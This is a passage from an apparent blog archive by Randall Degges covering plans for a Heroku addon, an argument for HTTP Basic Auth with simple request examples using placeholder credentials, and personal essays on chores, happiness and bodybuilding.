Next up, I need to build a marketing site to advertise the addon (primarily so developers searching for this thing on Google can find it). For this, I’ll build a 100% static site that lives at www.vanityaddon.com. I’ll need to throw something that looks clean and simple together – as well as generate some assets (a logo, a banner, etc.).

Next, I need to write a Heroku SSO compatible dashboard page. This is the page that developers will see if they run the following command:

$ heroku addons:open vanity

It should open the user’s browser, and immediately show them the Vanity dashboard having already logged the user in with their Heroku SSO credentials. This is the primary interface developers will be looking at day-to-day, so it should be pretty, clean, and intuitive.

Lastly, I need to write a Heroku CLI plugin. This step is optional (not required), but will give the addon a bit of zest. The CLI plugin should allow developers to run a simple command like the following:

$ heroku vanity

To output their Vanity metrics to the console.

I know that I spend most of my time on the terminal, so this is something I’d want / use. I love web interfaces too – but I’m old school – there’s nothing quite as satisfying as a command line utility >:)

Functionality Concerns

The high level architecture of the Vanity addon will be fairly simple.

All Vanity needs to do (when provisioned) is create a syslog drain to capture all of an application’s Heroku logs. These logs can then be parsed later to generate various metrics.

Since all of the Vanity metrics are going to be fairly simple (at least, at first), there should be no need for developers to learn any new technologies to use this addon – they should simply be able to provision it from the Heroku marketplace and instantly start enjoying the service.

In regards to what metrics Vanity will need to display – I think that the most important things to cover initially will be:

How many total requests have been served over a given timeframe.
How many total successful requests have been served over a given timeframe.
How many total failed requests have been served over a given timeframe.

In the future, as I think about this more, I’m sure there will be other metrics to consider – but for now, I think these will suffice. If you have any good ideas of what metrics you’d like to see included – email me!

Design Mockup

I’m not a great designer (I’m more of a backend guy), but I can most definitely hack together a clean front-end using tools like Bootstrap and Bootswatch.

Here’s what I’m thinking the dashboard layout will look like:

I think this is suitable for a first release, and as I continue working on this series I’ll fine tune the details. Again – if you have any ideas, let me know via email. I love getting input from fellow developers!

Pricing Thoughts

Running the Vanity addon won’t be terribly expensive, but could most definitely become expensive over time as the addon will be storing every single log from every single Heroku dyno using Vanity. I can see this adding up to quite a bit of storage space in a short period of time.

The main cost will likely be storage space on Amazon S3.

Secondary costs will include some sort of database server for processing metrics. I’ve got a bunch of choices for this – so I’ll skip on the guess work for now and save that for the next article in the series where I discuss research.

There will also be fees for running syslog servers which ingest all incoming logs. I’m not sure how well syslog “scales”, or what type of EC2 requirements it has for my estimated workload, so I won’t estimate costs here.

Next up is email fees. I’ll likely be using mailgun to send email as I love their service, so depending on how many addon users I have, I might end up spending a few dollars per month on transactional email fees (not much).

For addon plans, I’d like to definitely offer a free plan, which would most likely restrict metrics to the current day only (this way I can purge old logs to decrease my storage fees), and provide several other addon plans that provide for various levels of metric storage / analysis.

Next Time

Welp, that’s about it for this installment. Hope you had a good time!

In the next article, I’ll be discussing all of my research. I’ll research and summarize the technical details of what I’ll need to do to build this thing, figure out cost approximations based on tools / usage, and also provide lots of useful links for anyone else (like you!) who wants to build their own Heroku addon.

So… Stay tuned! More to come soon!

Building a Heroku Addon

r@rdegges.com (Randall Degges) — Mon, 06 Apr 2015 00:00:00 -0700

I hope it’s no surprise to any of you that I’m a big fan of Heroku. If you’re not already familiar with the service, it’s probably the most popular, well designed, oldest, and best all around platform-as-a-service company.

Heroku hosts all sorts of applications (large and small), and does so in a best practices way.

If you want to learn more about Heroku, you might enjoy reading an old post I wrote on it: Heroku Isn’t for Idiots, or possibly even check out my book: The Heroku Hacker’s Guide.

But… Enough messing around. Let’s get into this.

In this series we’re going to build a full, live, Heroku addon together. I’ll walk you through each step of the process, I’ll show you all the code, and I’ll explain things every step of the way.

If you’ve ever wanted to build a Heroku addon (or learn more about how they work), this series is for you.

Now, throughout this series I’ll be writing my code in Node.js, but the principles apply regardless of what language you’re using. My goal is to make this a fun, informative, and practical series that everyone can benefit from.

A Quick Review of Addons

One of my favorite parts of Heroku is… Addons!

The core Heroku platform is very simple:

You put your code into a Git repository.
You tell Heroku what commands to run to start your project code (usually your web server).
You tell Heroku what environment variables to set to store secret information (API keys, etc.).
You push your Git repository to Heroku, and they deploy your app and run it on as many servers (dynos) as you want!

SIMPLE, right?

Well, what happens if your project needs access to additional resources to run? Databases? Cache servers? Queueing servers? Etc?

ADDONS!

This is what addons are for: providing additional infrastructure / services for your application to use.

You can view a list of all available addons here: addons.heroku.com (go ahead and look, there are quite a few great ones!).

Addons are awesome because they allow Heroku developers to:

Instantly provision infrastructure / additional services.
Scale these services up and down instantly.
Pay for services with their Heroku account (this means addon usage is pro-rated to the second) – if you spin up a paid addon service for 10 seconds, you’ll pay for exactly 10 seconds worth of usage.

Addons are, in my opinion, the most optimal and efficient way of using and integrating with infrastructure components.

And the best part? Anyone can make an addon.

Heroku provides an API for addon providers – you implement their API spec, and you can get listed in the addon marketplace.

Which brings us to the next section:

Let’s Build an Addon

Over the past several years, I’ve actually built and worked on several Heroku addons. Some are in the addon marketplace right now!

Building addons is quite simple. And fun! So I figured why not build one out in the open?

Through this series I’ll be walking you through the process of building my new Heroku addon: Vanity (don’t bother checking out the domain, there’s nothing there yet!).

The idea for this addon is simple: I want to create an addon which counts all my Heroku request traffic: and that’s basically it. I love vanity metrics, and there’s nothing quite as satisfying (to me at least) as seeing how many requests my application has serviced over a given time period.

Furthermore, I’d like to expose a simple API for developers, so they can pragmatically access this information as well.

The Plan

The main plan is to build this addon in a few phases:

Planning. The first thing to do (and what I’ll cover in the next article) is to lay out everything that needs to be built. We’ll make some mockups, we’ll write down exactly what we’re going to make, and we’ll cover some overall planning stuff (how much will it cost?), etc.
Research. In the second article, I’ll get into the research aspect. In this part I’ll cover all the documentation / links you need to build an addon, and discuss how this thing will work in great detail.
Implementing the Addon API. In this article, we’ll actually start building the addon itself. The first part to building an addon is being able to integrate with Heroku’s Addon API – so that’s what we’ll do. By the end of this article we’ll be able to create, upgrade, and remove Addon instances.
Implementing the Counting. In this article, we’ll write our core addon logic, which stores request counts for each Addon user.
Implementing a Dashboard. In this article, we’ll actually build a Heroku dashboard page for our addon, and learn how to make it accessible via Heroku SSO. This dashboard will let users view their request counts, and get their vanity metrics in a nice format.
Implementing a CLI Plugin. In this article we’ll build a Heroku CLI plugin, so developers can access their request count information via the command line!
Launching. In this article I’ll talk about launching the addon, and how the process works.
Growing. In this article I’ll talk about growing the addon, and scaling it to support demand.
Review. Finally, I’ll cover how the entire process went from start to finish. We’ll look at everything: how the addon is performing, how many users it has, how much revenue it’s generated (if any), etc.

Overall, it should be quite fun.

So… Stay tuned! More to come =)

UPDATE: The next part of this series is now available! You can find it here.

Why I Love Basic Auth

r@rdegges.com (Randall Degges) — Mon, 23 Mar 2015 00:00:00 -0700

One of the disturbing trends I’ve noticed over the past few years is that more and more API services are slowly ditching support for HTTP Basic Authentication (aka: Basic Auth) in favor of OAuth.

As someone who’s been:

Using REST API services for years.
Has built numerous REST API services.
Has built and ran a REST API company.
Is currently working at a large developer-focused REST API company.

I can’t help but feel like this is a bad thing.

It’s a bad thing because OAuth (as popular as it is) is a huge pain in the ass – for both the people building the API services as well as the developers consuming them.

OAuth is complex, misunderstood, widely misused, and lacking universal implementations. It most definitely has its uses, but in many cases feels burdensome.

Basic Auth, on the other hand, is simple, very well understood, and has been well supported in every language and framework since the 1990’s.

How Basic Auth Works

Let’s talk about Basic Auth:

It’s a well and clearly defined specification.
It’s been around since ~1996.
It’s super simple.

Here’s the short version of how it works.

You are a developer.
You have an API key pair: an API Key ID and an API Key Secret. Each of these is a randomly generated string (usually a uuid).
To authenticate against an API service, all you need to do is put your credentials into the HTTP Authorization header.

Here’s an example showing how Basic Auth works on the command line using cURL:

$ curl --user 'xxx:yyy' https://api.someapi.com/v1/blah

Here’s some Python code showing how it works:

>>> from requests import get
>>>
>>> api_key_id = 'xxx'
>>> api_key_secret = 'yyy'
>>>
>>> resp = get('https://api.someapi.com/v1/blah', auth=(api_key_id, api_key_secret))
>>> print resp.json()

And if that isn’t enough, here’s some Node.js code showing it as well:

var request = require('request');

var api_key_id = 'xxx';
var api_key_secret = 'yyy';

request({
 url: 'https://api.someapi.com/v1/blah',
 auth: {
 'user': api_key_id,
 'pass': api_key_secret
 }
}, function(err, resp, body) {
 console.log(body);
});

Isn’t that simple?

All Basic Auth lets you do (at a high level of abstraction) is specify your credentials. That’s it.

NOTE: Yes, I know that technically it’s a little bit more complicated than this. There’s base64 encoding, there’s the HTTP Authorization header format, etc., but for argument’s sake I’m leaving that out as it’s not important in this context.

Basic Auth is great for developers because it’s simple, intuitive, and easy to use.

Let’s say you’re integrating with an API service, all you do is create an API Key Pair, and start making requests!

What do you do if you accidentally publicize your API Key Pair and it’s compromised? Well… You just create another API Key Pair, put that into your application code, and get rid of the old one!

When used properly, Basic Auth can be a great choice for securing REST APIs.

It’s Simple

My favorite thing about Basic Auth is that it’s simple.

Unlike OAuth, there’s no intermediary steps you need to go through to get an access token: all you need are your API keys.

This makes a huge difference in development speed.

Instead of spending a lot of time figuring out what permissions and scopes you need granted, setting up redirect URIs, web servers, and all this crap that only serves to complicate matters – all you need to do is put your damn API keys into the HTTP Authorization header and BAM, shit works.

Because it’s so simple, you can get a lot of work and testing done faster.

You also don’t need to worry about things like:

Token expiration. Cough, cough OAUTH!
Providers changing their implementations. Just about every single OAuth provider has changed their implementations numerous times, breaking thousands of developer applications.
Complex workflows for getting access to your data. OAuth2 has 4 different grant types, each of which is used in a different way and for different purposes.

Every time I use a service like Twilio, I’m reminded how convenient Basic Auth is to use: it’s truly a pleasure to be able to:

Generate and destroy API keys on command.
Easily throw API keys into whatever apps I’m currently hacking on.
Easily test my API requests out via the command line or an API explorer like Runscope.

I just love it.

It’s Secure

Basic Auth gets a bad reputation for being “insecure”, but this isn’t necessarily true.

There are several things you can do to ensure that your API service (secured by Basic Auth) is as secure as possible:

Always run all requests over HTTPs. If you’re not using SSL, than no matter what authentication protocol you use, you’ll never be secure. Unless you’re using HTTPs, all of your credentials will be sent in plain-text over the wire: a horrible idea.
Give your developers the ability to generate as many API key pairs as they’d like. This makes it easy for developers to isolate their usage of an API key pair to a single application or service.
Give your developers the ability to revoke API key access when they need to. For instance: if a developer accidentally leaks his API keys on Github, he should be able to revoke that API key pair, thereby guaranteeing it can’t be used by anyone else.
Generate random API key pairs using uuids. This ensures API key pairs aren’t guessable.

Furthermore, for developers using Basic Auth, there are a few things you should always keep in mind:

Store your API keys securely. If you’re using an API service that supports Basic Auth, be sure to not do things like store your API keys in your public Github repo.
Don’t use an API service that isn’t run over HTTPs – you’re guaranteed to have problems in the future.
Use a unique API key pair for each application you write. This way, if you accidentally lose an API key or leak it publicly, you only need to revoke that specific API key, and you only need to update a single codebase that relied on that API key. This will make your life much easier in the long run.

If you’re looking for a good example of an API company that handles API keys the right way, check out AWS.

Universally Supported

Another great thing about Basic Auth is that there’s only one implementation everyone uses – this means that there’s never any ambiguity about how to craft requests or server-side components: it’s always the same.

The way it works is like this:

You take the API Key ID and the API Key Secret, and you put them into a colon-separated string like so: 'xxx:yyy'.
You then prepend the word 'Basic ' to the string, so that you have: 'Basic xxx:yyy'.
You then base64 encode the API key portion of the string, so you end up with: 'Basic eHh4Onl5eQ=='.
Lastly, you set this value as your HTTP Authorization header when you make your HTTP requests.

When the web server receives your request, it then:

base64 decodes the header value.
Splits the string by the colon character.
The left-hand portion is the API Key ID, the right hand portion is the API Key Secret.
The server then validates these credentials, and either allows you access or returns an HTTP 401 UNAUTHORIZED response.

There’s nothing ambiguous about Basic Auth. This means every programming language has top-notch support for the standard, and it’s easy to find well audited libraries for using Basic Auth as both a producer and consumer.

My Hope

My hope is that while OAuth continues to rise in popularity, developers continue to support Basic Auth to the maximum possible extent.

Not only does this make my life as a developer easier, but it also makes it more enjoyable.

For any API services out there that trust their developers, you really can’t go wrong by supporting Basic Auth.

And… Even for those services that don’t trust their developers – namely consumer services like Google, Facebook, Fitbit, etc. – it’s still a good idea for them to support Basic Auth. This, at the very least, empowers their users to pragmatically access their own data without jumping through the OAuth hoops.

NOTE: I realize this is a somewhat controversial topic. I’ve ended up writing numerous drafts of this article, only to throw them away as their scope has grown too much. In the future, I plan to write many more articles discussing the various pitfalls of both OAuth and Basic Auth, diving into more in-depth technical reasons for my opinions.

Leaving Things Better Off

r@rdegges.com (Randall Degges) — Sun, 15 Mar 2015 00:00:00 -0700

When Sami and I first got married (almost 5 years ago, now!), our biggest source of marital frustration and unhappiness was chores. More specifically: the fact that I didn’t do them.

Growing up, my mom always ran our household, and did everything for me and my siblings: laundry, dishes, cleaning, cooking – all of it. After getting married, I subconsciously expected the same. So I did what I was used to doing: nothing.

I’d avoid dirty dishes, let my laundry pile up for weeks, and before our first month had ended, our brand new apartment was pretty disorganized.

To make things worse, I’m a bit of a clean freak, so this led to some hardcore arguments between the two of us. We’d both get upset with each other, or even worse, try to not get upset with each other and let the problems continue.

After talking about things, we decided to split up duties a bit more evenly. And while we’ve had various successes and failures over the years in this regard, things are much better.

Around the time we both finally opened up and talked with each other about this problem, I had just finished reading The Joy of Less (a good book on minimalism), and had some ideas of how to improve things.

One of the simplest ways I’ve found to improve problems like the one I was having is to just always leave things better off than they were before you found them.

To help with dishes, for instance, what I started doing was pretty basic: every time I went to put something into the sink, I’d wash and put away two other things in the sink. This way, by the time I left the kitchen, the net dirty dishes pile had decreased by 1.

Over time, I’ve found that this is by far the simplest and most effective method to cleaning (and life in general) that helps to avoid big issues and frustrating experiences.

Instead of dealing with big pile-up-problems in one sitting, it’s a lot less mentally and emotionally taxing to simply make things a little bit better when you can. An extra 30 seconds a few times a day is a lot less daunting than a single, 3 hour cleaning experience.

What’s really interesting, though, is when you apply this concept to other areas of your life as well.

The next time you start adding a feature to your company codebase – be on the lookout for a way to positively improve code quality. Maybe you could add in a unit test, fix a typo in a variable name, or even do something small like improve a comment or remove some trailing whitespace.

Over time, this sort of thing adds up and before long you’ll have substantially improved the code quality of your projects, with very little effort.

What I’ve learned over the years is that by really adopting the mindset of “leave things better off than they were before you found them”, I don’t only tend to solve my existing problems, but I also prevent new ones entirely.

If you’re currently dealing with a big problem, maybe the solution doesn’t have to be so hard: just make it a little bit less of a problem every day =)

Enjoy Your Life

r@rdegges.com (Randall Degges) — Sat, 07 Mar 2015 00:00:00 -0800

Life can be really hard sometimes. Everyone has a million responsibilities: family, friends, work, hobbies, ambitions, etc. It can all be a lot to deal with on a daily basis.

Over the past several years I’ve experienced this first hand: I’ve gone from having practically no pressure and responsibility at all to having important jobs and roles at companies, a real family to spend time with and care for, and lots of friends, hobbies, and ambitions to balance on my free time.

Overall, I think I’ve come to cope pretty well. I’ve definitely had my moments where I was completely overwhelmed (just ask my wife), but in general, I’ve learned to enjoy my life as much as possible while managing everything else pretty well.

Because I see so many friends and acquaintances going through the same things as I have, I thought I’d take a moment to write out what I do on a daily basis to help alleviate some of the pressures of life, and what has really helped me enjoy my life more.

Focus on the Present

The simplest way to start enjoying your life, and the only absolutely 100% guaranteed strategy I’ve learned is to put all of your energy and focus into whatever it is you’re currently doing.

It doesn’t matter whether you’re working out at the gym, dealing with a stressful last minute meeting, or handling something in-between: there’s something deeply, personally satisfying about living in the moment.

It gets your mind off of your worries and pressures, and instead puts you into action mode: the mode where you actually get shit done.

I’ve never once in my life regretted taking action when I was stressed – if anything, I’ve regretted not taking more action.

One of the things I tend to do (and I’m sure you’ve done this before as well) is to build up a huge mental list of all the things I need to do: chores, work, doctor’s appointments, gym, family, etc. It’s overwhelming, and pretty scary.

Since I’m almost never caught up with all that I have to do, it becomes a bigger and bigger mental strain. The more time that passes, the more irritable and annoyed I become. I feel stressed, and rapidly start dreading my life.

By doubling down and focusing on the present moment and exactly what I’m doing, all that stress instantly falls away. It’s very freeing.

Forget About Past Accomplishments

This was a tough lesson for me to learn, personally. I’ve had some limited successes in my life: starting a company, writing a book, accomplishing a lot of work goals, losing weight, getting into shape, etc.

There was a time when instead of focusing on new goals and opportunities, I’d simply sit at home relaxing, feeling confident in myself because of past successes.

Unfortunately, this is nothing more than procrastination.

If you ever find yourself in a situation where you’re spending more time reflecting on the cool things you’ve previously done – instead of actually doing new things – you’re wasting your time.

I’ve regretted so much time that I’ve wasted simply being content with myself, instead of pushing myself into new, uncomfortable territories.

If you’re looking for a way to motivate yourself for the next big thing, stop focusing on the past, and start looking towards the future. Not having a big ‘buffer’ of comfort behind you makes it all the easier.

Be Hard on Yourself

One of the most important lessons I’ve learned in my entire life is to be constantly hard on myself.

I’m the sort of person who, if unchecked, will happily sit around all day doing nothing. It’s just human nature, after all. I was raised by two parents who provided plenty of positive encouragement and always made me feel special, so as an adult, I’m often tempted to view myself this way.

The best thing I ever did was to start being hard on myself, and demanding more.

I realized at some point (years ago) that I wanted to be the best possible version of myself: I wanted to be as strong as possible, as productive as possible, and as forward thinking as possible. There’s no way to do that if you’re easy with yourself.

If you’re noticing days pass by you where you can’t think of any forward progress you’re making, then you’re not pushing yourself hard enough. You’re not demanding enough of yourself.

If you truly want to be a better person (in any way: physically, mentally, monetarily, whatever), you have to constantly push the envelope. You’ve got to set clear plans for yourself, and execute them every single day.

You’ll most definitely mess up, but when you do, just look forward and double your efforts.

If you’re having trouble finding the motivation to push yourself, just think about what the ideal version of you would do. Unless the answer is “sit around doing nothing”, then dig deep down, take a big breath, and continue pushing forward.

Be Light with Others

While being very hard on yourself is a good idea, the opposite is true of other people.

Instead of holding other people to your standards, try to do the opposite: expect nothing of others.

What I mean by this is that there’s only one of you. ONE. This means that you’re the only person in the entire world who thinks the way you do. Nobody else has the same experiences, upbringing, thoughts, or plans. You are truly unique.

Because of this, everyone has their own sense of what they want to do. Everyone has their own priorities. Everyone lives in their own little world.

Instead of building up expectations of others, try to just accept people as they are: for good or bad.

Not only will this greatly improve your personal relationships and friendships, but it will help you learn to empathize with others more easily, and will greatly improve your outlook.

I can’t tell you how many times I’ve gotten annoyed with other people because of their actions. The number is probably in the millions. Maybe someone cut me off in traffic, or maybe someone cancelled their plans at the very last second – whatever happened, it annoyed me.

I used to let stuff like this really get to me. I’d spend minutes (or sometimes hours) thinking thinks like “Didn’t they think about this before doing it?” “How could they possibly think THAT was a good idea?” etc…

What I realized is this: I’d waste tons of time, mental energy, and effort being upset over something I can’t control. It’s pointless!

At the end of the day, something happened that I didn’t have anything to do with, and I let it ruin my day.

What a waste of a day!

If you can’t control something (and you can never control other people), learning to accept things as they happen will take you very far. It’ll improve your mood, your outlook, and your relationships.

Have Multiple Passions

This one is very important: you should have multiple passions.

At a young age, I became obsessed with computer programming. It was all I thought about, dreamt about, and spend my time doing. Because of this, I learned things quickly, and had many successes early on in my life.

One of the things I noticed as the years passed, however, is that there were days I ended up feeling awful because of programming. Sometimes I’d not accomplish what I wanted: maybe I couldn’t figure out how to use some tool, couldn’t understand a concept right away, or didn’t finish some project according to my personal deadline.

Whenever this happened, I’d go into a mini-funk. I’d feel bad about myself, and I’d lose interest in what I was working on.

The best solution to this that I’ve found is to always have multiple passions. For me, I’ve got two (currently): programming and bodybuilding.

I decided a while back that it was time to get in shape, and make some dramatic progress towards my ideal physical form. So… I started working out, lifting weights, and learning about nutrition.

Since I made that decision, there’s been two things I’ve done nearly every day for the past three years: write code, and work out.

The benefits from this have been really enormous for my mental health.

Some days I have a great workout, and also end up writing some great code. On these days, I feel amazing. I feel like I accomplished so much, and that my life is going perfectly according to plan!

Other days, I might have a bad day at work, but a good gym session. Whereas in the past this might throw me into a funk, because I had some successes in the day, I didn’t feel as bad. Instead of going to bed upset with myself, I’d go to bed satisfied that I made some progress towards my goals.

The main point is this: having multiple passions gives you an outlet for days when things don’t work out perfectly. It gives you more to look forward to each day, more motivation to continue making progress, and more options as to what do with your time.

The last suggestion I have to help you enjoy your life more is to read more books.

I spend a decent amount of time reading every week, which is one of the main ways I learn about happiness, personal development, and a wide variety of other topics.

Books have had more impact on my life than any other form of media combined.

If you’ve never looked into or read any personal development books (business books and non-fiction books also apply), you’re greatly missing out. While a lot of these sorts of books may be gimmicky, exposing yourself to methods that work for other people can be a great way to keep an open mind, and learn what works best for YOU.

One of the best books I ever read was The Power of Less by Leo Babauta. It really got me thinking about my life and my habits, and was a catalyst for changing my behaviors and thought processes.

While I used to think reading about personal development type things were a waste of time: they can actually be incredibly useful. By spending time and effort investing in yourself and who you are, you can really become a happier person.

NOTE: I’ve got a ton of friends who tell me they don’t have time to read books due to busy schedules, but that’s almost always complete bullshit. It only takes about 15 minutes a day of reading to learn something new, and move the needle forward. And if you don’t have time for that? Use audiobooks! I listen to them almost every day via Audible while in the car, working out in the gym, or during commutes. If you aren’t a member, you can sign up with this link and get 2 free books. Highly recommended.

Anyhow: reading more is a great way to further your personal education and subsequently help you enjoy your life more.

I hope some of these tips resonate with you, and that my own learning experiences can help improve your day to day happiness.

The most important thing to remember is that you are the only one in control of your life. You’re the pilot, the crew, and the engineer of your own happiness and successes. You’ve got to do it all.

If you want to enjoy your life, you can! It’s 100% up to you.

-Randall

The Best Thing I Ever Did

r@rdegges.com (Randall Degges) — Sun, 25 Jan 2015 00:00:00 -0800

I’ve got many different interests.

Chances are, if you’re reading this, you found this site through my technical writing (it’s what I’m best known for). What you may not know, however, is that technical stuff isn’t really my main passion.

My main passion is personal development and self improvement. For me, technical stuff (programming, writing, startups, etc.) is only one small part of that.

While some people derive intense joy from doing one thing only, I derive almost all of my joy from the feeling of making progress towards becoming a better person in some way: either through creating something that I feel is useful, sharing my thoughts in hopes that someone will benefit from it, or directly improving myself in some measurable way.

Despite the many things I’m interested in and spend my time doing, there’s been a single activity which has generated more personal growth and development for myself than any other by orders of magnitude – and this is what I’d like to share with you today.

The activity I’m talking about is bodybuilding (better known as weight lifting and dieting).

Misguided Guilt

When I married my beautiful wife Samantha, I weighed in at over 300lbs (that’s 136kg for all of my European friends out there). To put things bluntly, I was quite fat.

I’m not sure when it started, precisely, but after my second year of high school football (and being in great shape), I decided to completely sacrifice any and all physical activities in favor of improving my programming skills.

At the time, I had already been programming for several years, and programming was consuming more and more of my life. I’d routinely stay up until 2am or so, only to wake up at 6:30am for school. This was a pretty regular occurrence.

Not only is it incredibly hard to work out when you’re exhausted, but it’s also incredibly hard to think straight, eat healthy foods, and generally make decisions that are in your best interest.

While my mind was occupied with working on my pet projects, I completely let my physical appearance go. I ate bags of Doritos on the regular, and drank enough Coke to fill an Olympic swimming pool.

On the plus side, it was during this time that I really learned how to program well: I built hundreds (if not thousands) of small, command line programs. I learned all about data structures, sorting algorithms, and OOP – and more importantly, I made myself comfortable writing larger and larger programs on my own.

The downsides to this, however, were immense. I started to really hate myself. I avoided all public outings because I was ashamed of how I looked. I avoided talking with friends (except those over IRC) because I felt embarrassed just being myself. And of course, I felt sick and tired almost all the time.

At some point, during this phase of focusing solely on programming, I began to think of working out and eating healthy as something counter productive. I remember thinking to myself that anyone who worked out or dieted and tried to be “healthy” was simply wasting time that could better be spent being productive and contributing to the world.

I actually started feeling hostile towards getting in shape. In some odd show of misplaced guilt I felt that it was vain to care about your physical appearance and health. People who cared about that stuff were obviously superficial and wasting time that could be better spent doing more important things.

Deciding to Change

After getting married, I remember looking at the wedding photos and thinking “Who is this person?”

I was surprised by what I saw. I felt fat, disgusting, and unhappy with myself. Seeing pictures of myself really drove in the point that I needed to change. Not because of what other people would think of me, but because of what I thought of me.

I realized that my appearance was crushing my self confidence, happiness, and personal relationships.

So, I decided to do the only thing that would help: I decided to start programming my body.

Learning the Basics

When I decided to start losing weight, I really had no clue what I was doing.

When I got started, I simply put on shoes and jogged around the block. I did this every single day.

After a few weeks of half-decent progress, I decided to start changing my diet as well: so I cut out sodas.

A while later: I started counting calories, and eventually started losing weight consistently.

What I learned through this trial-and-error process was that getting in shape wasn’t really all that hard. If you eat more calories than you burn each day: you put on weight. If you eat less calories than you burn each day: you lose weight.

Enter Bodybuilding

After roughly a year of trial-and-error, I was feeling pretty good with myself. I had lost a decent amount of weight, I was feeling a lot more positive about myself, and I was very focused on improving myself both physically and mentally.

I realized over the first year of my physical fitness journey that I really enjoy pushing myself physically, and that the same physical work ethic I had could be applied to other things as well: programming, work, family, etc.

After my first year of getting started, I decided to get serious about my progress. Instead of just being content losing weight, I wanted to aim big. Instead of just improving myself a little bit, I wanted to improve a lot. I wanted to build the perfect physique.

So, I started doing research. I learned a lot about bodybuilding, muscular development, and proper nutrition.

I learned what macros are (there are proteins, fats, and carbohydrates), and I read lots of studies and books so I fully understood what the biological purpose of each macro is, how they’re useful, and how different quantities of them can affect body composition.

I learned how much protein to consume ever day, and why.

But most importantly, I learned to lift weights properly: I started going to the gym 6 days a week, and developed a respectable routine modeled after professional bodybuilders (why not emulate those people who are successful at what you are learning?).

The more I lifted weights, the more progress I saw each day. Every gym session brought me a little bit closer to my goals.

Every day I’d spend a little bit of time reading through the bodybuilding subreddit, popular fitness articles, and nutrition journals. I also started following a lot of professional bodybuilders and learning from them: many of the professionals have informative Youtube channels where you can learn a surprising amount.

If you’re looking to improve your physique, learning from those who look the way you like is the best way to improve. If you want to learn programming – you’ll want to talk with a good programmer, right? The same goes for bodybuilding (and really, any form of fitness): if you want to look a certain way, talk with a good bodybuilder!

What Bodybuilding is About

As I mentioned earlier, I used to be incredibly uncomfortable with the idea of improving my body. Back then, it seemed as if the more I worked out, the less time I’d have to spend on programming, and all of my other knowledge pursuits.

Over the past few years, however, I’ve completely changed the way I view physical improvement.

Bodybuilding, in particular, is 99% mental (something I think a lot of people don’t realize).

Unlike most activities, bodybuilding is a lifestyle. To make anything more than modest gains, you need to actively change your lifestyle to accommodate your goals:

You can’t drink alcohol (except on special occasions).
You have to get plenty of rest every night.
You have to drink lots of water throughout the day.
You have to set aside anywhere from 45 minutes to 2 hours per day for training, 5 or 6 days per week.
You have to be meticulous about your nutrition and diet at all times, ensuring you are getting the proper macros and caloric intake requirements every single day.
You have to push yourself incredibly hard every day during training to push past your limits and stimulate growth as much as possible.

While all of the above things are not terribly difficult, they must be executed consistently, day after day, year after year, for years at a time – in order to be effective.

More than anything, it’s a mental game. Do you want it bad enough? Are you willing to be ruthless with your scheduling and time so you can meet your daily requirements? Are you willing to sacrifice a lot of short-term pleasures in favor of more long-term victories?

I find the self-discipline and work ethic that come with the bodybuilding lifestyle to be admirable. It’s not easy to constantly push yourself past your limits. It’s not easy to turn down sweets. It’s not easy to go out with friends and order special foods off the menu to accommodate your needs.

Bodybuilding and Personal Growth

As I’ve gotten more and more into bodybuilding over the past few years, I’ve learned a ton about nutrition, training, and self-discipline. But, more than anything, I’ve learned important lessons about myself that have given me more benefits than anything I could have previously imagined.

Hard Work Pays

The biggest benefit I’ve come to realize is that working hard to directly improve myself through physical training is the very epitome of personal development. You put time and effort into something, and you see and notice improvements and changes as time passes.

It’s a simple idea, but one that many people (myself included) forget: if you want to get better at something, you have to work hard at it and spend time on it. There’s no way around it.

If you want to be a better painter, you need to paint. If you want to be a bodybuilder, you need to diet and train. If you want to build a wall, you need to lay down brick after brick, day after day, until the project is complete.

I used to find myself constantly wanting to take the easy way out of things. I was always looking for a simple way to accomplish X without effort, or a faster way to do Y without thinking. And, more often than not, I’d end up spending much more time looking for quick solutions than I would have spent by simply sitting down and solving the problems myself with some hard work and effort.

Applying this lesson to other areas of my life has made tremendous differences in my quality of life. My relationship with my wife is better, my home is cleaner, and I’m a lot more organized.

Consistent Action is King

I’ve also learned that despite how much you care about something, and how passionately you talk about it and think about it, unless you’re actually taking action every single day to do something with it – you’re not growing as a person.

If you’re learning a new programming language, for instance, and spent weeks reading through every book you can find, studying every Github repo you come across, and telling all your friends about it – you’re not becoming proficient – you’re simply procrastinating.

Until you start sitting down and consistently writing code in this new language every single day, working to solve real problems – you’re not going to improve your skills.

It’s all about action.

No amount of knowledge, passion, motivation, or experience will help you grow as a person and meet your goals without direct and consistent action on your part.

Pain is OK

The more I push myself, the better I feel. This is always true for me. I’ve never pushed myself hard and NOT felt good afterwards.

While my brain is constantly telling me to lay down on the couch and watch movies for hours on end, I’ve come to realize through bodybuilding that hard work is OK. Feeling pain isn’t a bad thing.

Without that feeling of pain in your life, it’s impossible to feel the intense joy and relaxation that comes when it’s over.

Growth comes from pushing yourself into uncomfortable territories. Wars are never won from a couch. They’re always won out there in the battlefield.

This lesson has dramatically changed the way I approach my programming, writing, and technical work. Instead of working until I get stuck, then taking time off, I try to instead push through the barriers immediately and solve my problems without delay.

Not only has this forced me to develop new skills, but it’s helped me to retrain my brain to constantly seek out that relief that only comes with solving a hard problem and pushing yourself through uncomfortable terrain. This makes dealing with real hardships a lot easier – instead of feeling the need to retreat and take things slow, I’m instead constantly looking for ways to move forward and find solutions.

Life Can Be Much More Enjoyable

The most important lesson I’ve learned through my struggles is that life can be a lot more enjoyable than I ever previously imagined.

Life can be so much more fun, exciting, and enjoyable when you feel proud of yourself, your hard work, and your dedication.

Through my own struggles, I’ve learned to appreciate and respect myself. I’m no longer embarrassed to go out in public, see friends, or be around strangers.

I feel more confident. I feel happier on a day-to-day basis. I have more energy, and more desire to go out and actually do things.

But most of all, I’ve got a constant feeling of relief and satisfaction with the direction my life is headed. I know every night when I go to sleep that I made progress towards improving myself, did what I wanted to do, and lived with my own integrity.

If you’ve ever gone to sleep at night knowing you didn’t do everything possible to improve yourself and kick ass that day, you know what I’m talking about. It’s a horrible feeling.

I went to sleep that way for far too many years, and only recently I’ve felt the intense joy that comes along with being able to sleep well at night knowing I did everything I could to improve.

Progress

Bodybuilding has shown me over the past few years that I’m able to push myself a lot harder than I ever previously knew.

I’m a lot tougher, smarter, and more stubborn than I realized. I’m able to do things I didn’t realize. I’m able to make positive decisions for myself.

More than anything though, bodybuilding has opened me up to a whole new level of personal development. While I was previously exclusively dedicated to mental improvement, it’s now amazingly transparent to me that I was leaving out the other important half of the equation.

For me to really feel satisfied at the end of the day, I’ve got to improve both my mind and body.

If you’re looking for a way to push past your barriers, improve yourself, and accomplish things you didn’t know you could – physical training is an incredible way to get started.

